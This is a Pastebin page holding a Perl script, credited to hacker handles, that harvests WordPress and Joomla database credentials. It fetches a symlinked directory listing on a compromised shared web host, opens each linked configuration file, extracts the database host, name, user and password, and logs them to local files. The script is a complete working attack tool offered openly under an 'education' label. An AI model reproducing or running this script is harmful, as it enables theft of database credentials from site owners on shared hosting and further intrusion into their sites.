Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #~--------------------------------------------------------------------------------------------~
- #Title : Config symlink graber joomla & wordpress v1.0
- #Coder : sohai | Modifed : Mr.GladiatorX207
- #Status: Open source |Education to public
- #Greetz : Sandy-x207 - Garuda Dot ID - Mr.AryeaKoplaxz404 - ./Priest1972 - xCrotZ - Om-Jin - R3DD3V1L
- # 207 Cyber Security | Hacker-Newbie | Indonesian BlackHat | All forum Undergound
- #~--------------------------------------------------------------------------------------------~
- use HTTP::Request;
- use LWP::UserAgent;
- my $tulis = "hasil.txt"; #catat logs
- my $tulispass = "pass.txt"; #catat logspass
- for($i=0;$i<45;$i++){print ("-");}
- print ("\nConfig symlink graber joomla & wordpress v1.0\n");
- print ("Coder : sohai\n");
- for($i=0;$i<45;$i++){print ("-");}
- print "\nInput websymlink : "; #ex : http://target.com/dir/
- $url =<stdin>;
- chomp $url;
- my $get_web = &Get($url);
- my $count = @{[ $get_web =~ /TXT/g ]};
- print "Total data : ".$count."\n";
- my @hasil = ();
- @hasil = ($get_web =~ m/<img\s+src="\/icons\/text\.gif"\s+alt="\[TXT\]">\s+<a href="(.*)">/g);
- foreach (@hasil){
- $domain = $url.$_;
- my $grab_config = &Get($domain);
- if ($grab_config =~ m/DB_NAME/i){
- print $domain."\n";
- if ($grab_config =~ m/'DB_NAME', '(.*)'/g) {$db_name = $1;}
- if ($grab_config =~ m/'DB_USER', '(.*)'/g) {$db_user = $1;}
- if ($grab_config =~ m/'DB_PASSWORD', '(.*)'/g) {$db_pass = $1;}
- if ($grab_config =~ m/'DB_HOST', '(.*)'/g) {$db_host = $1;}
- $Dblogs = $no.".[wordpress]DB_HOST=".$db_host." | DB_Name=".$db_name." | DB_USER=".$db_user." | DB_PASS=".$db_pass."\n";
- $Passlogs = $db_pass."\n";
- print $Dblogs;
- }
- if ($grab_config =~ m/joomla/i){
- print $domain."\n";
- if ($grab_config =~ m/db = '(.*)';/g) {$db_name = $1;}
- if ($grab_config =~ m/password = '(.*)';/g) {$db_pass = $1;}
- if ($grab_config =~ m/host = '(.*)';'/g) {$db_host = $1;}
- if($grab_config =~ m/mosConfig_user/i){
- if($grab_config =~ m/mosConfig_user = '(.*)';/g) {$db_user = $1;}
- }
- if($grab_config =~ m/user = '/i){
- if($grab_config =~ m/var $user = '(.*)';/g) {$db_user = $1;}
- }
- $Dblogs = $no.".[joomla]DB_HOST=".$db_host." | DB_Name=".$db_name." | DB_USER=".$db_user." | DB_PASS=".$db_pass."\n";
- $Passlogs = $db_pass."\n";
- print $Dblogs;
- }
- open(LOG,">>$tulis");
- print LOG $Dblogs;
- open(LOG,">>$tulispass");
- print LOG $Passlogs;
- close(LOG);
- $no++;
- }
- sub Get() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6");
- $ua->timeout(10);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement